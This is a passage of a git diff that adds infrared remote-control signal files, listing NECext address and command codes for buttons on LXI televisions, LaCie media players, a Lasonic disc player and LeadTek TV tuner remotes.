00 00 +# +name: ODD_-_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: EVEN_-_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: ODD_-_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LXI/TV/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LXI/TV/4,-1.ir new file mode 100644 index 000000000..5dfa91019 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LXI/TV/4,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: FINE_TUNING_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: FINE_TUNING_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: PICTURE_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: TV/CATV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: LAST_CHANNEL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: CLOCK/TIMER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 48 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: PICTURE_RESET +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 +# +name: AUTO_PROGRAM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: ADD/DEL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 55 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir b/assets/resources/infrared/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir new file mode 100644 index 000000000..4a6b5c73a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 06 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0B 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0C 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0D 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 10 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 11 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 13 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 15 00 00 00 +# +name: movie +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 16 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 17 00 00 00 +# +name: KEY_IMAGES +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 18 00 00 00 +# +name: file +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 19 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1E 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1F 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 40 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 41 00 00 00 +# +name: sync-left +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 42 00 00 00 +# +name: sync-right +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 43 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 44 00 00 00 +# +name: scroll +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 45 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 46 00 00 00 +# +name: picture +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 47 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 48 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 49 00 00 00 +# +name: bookmark +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 4A 00 00 00 +# +name: tv-out +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 4B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir b/assets/resources/infrared/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir new file mode 100644 index 000000000..e23015c57 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 26 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 3E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 4C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 56 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 5C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 64 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 66 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 7C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 7E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 8C 00 00 00 +# +name: X_KEY_SETTINGS +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 94 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: A4 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: A4 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: AC 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: B4 00 00 00 +# +name: X_KEY_SHUTDOWN +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: C4 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir new file mode 100644 index 000000000..68a62d61a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_3D +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0B 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0E 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 12 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: GAME +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 16 00 00 00 +# +name: AtoB +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 17 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1A 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1B 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1E 00 00 00 +# +name: ClrShift +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1F 00 00 00 +# +name: Arrow_left +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 40 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 41 00 00 00 +# +name: Arrow_right +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 42 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 43 00 00 00 +# +name: SlowForward +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 44 00 00 00 +# +name: Arrow_up +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 45 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 46 00 00 00 +# +name: SlowBackward +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 47 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 48 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 49 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4B 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4C 00 00 00 +# +name: FastBackward +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4D 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4E 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: Mark +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 53 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 54 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 57 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 58 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 59 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5A 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5C 00 00 00 +# +name: Arrow_down +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5D 00 00 00 +# +name: Karaoke +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir new file mode 100644 index 000000000..22837f8c7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 00 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 01 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 02 00 00 00 +# +name: PC/TV +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 06 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 08 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 10 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 14 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 15 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 16 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1A 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: CC +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir new file mode 100644 index 000000000..bc5580444 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 00 00 00 00 +# +name: TVFM +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 02 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: Num1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: Num2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 06 00 00 00 +# +name: Num3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 08 00 00 00 +# +name: Num4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: Num5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0A 00 00 00 +# +name: Num6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0C 00 00 00 +# +name: Num7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: Num8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: Num9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0F 00 00 00 +# +name: Ch_Dn +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 10 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: Num0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 14 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 16 00 00 00 +# +name: FineTune_Up +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: FineTune_Down +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 40 00 00 00 +# +name: Period +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 41 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 42 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 43 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 44 00 00 00 +# +name: TimeShifting +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 45 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 46 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 47 00 00 00 +# +name: SnapShot +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 48 00 00 00 +# +name: Boss +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 49 00 00 00 +# +name: PiP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir new file mode 100644 index 000000000..5bb5918b2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 00 00 00 00 +# +name: CROSS +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 06 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 08 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 10 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 14 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 15 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 16 00 00 00 +# +name: FINE_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: FINE_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: CC +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: ZZ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 40 00 00 00 +# +name: KEY_DOT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 41 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 42 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 43 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 44 00 00 00 +# +name: TIMESHIFT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 45 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 46 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 46 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 47 00 00 00 +# +name: SNAPSHOT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 48 00 00 00 +# +name: BOSS_KEY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 49 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 4F 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 50 00 00 00 +# +name: SQUARES +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 51 00 00 00 +# +name: CH_SURF +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 52 00 00 00 +# +name: KEY_L +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 53 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 54 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 55 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 56 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 57 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 03 00 00 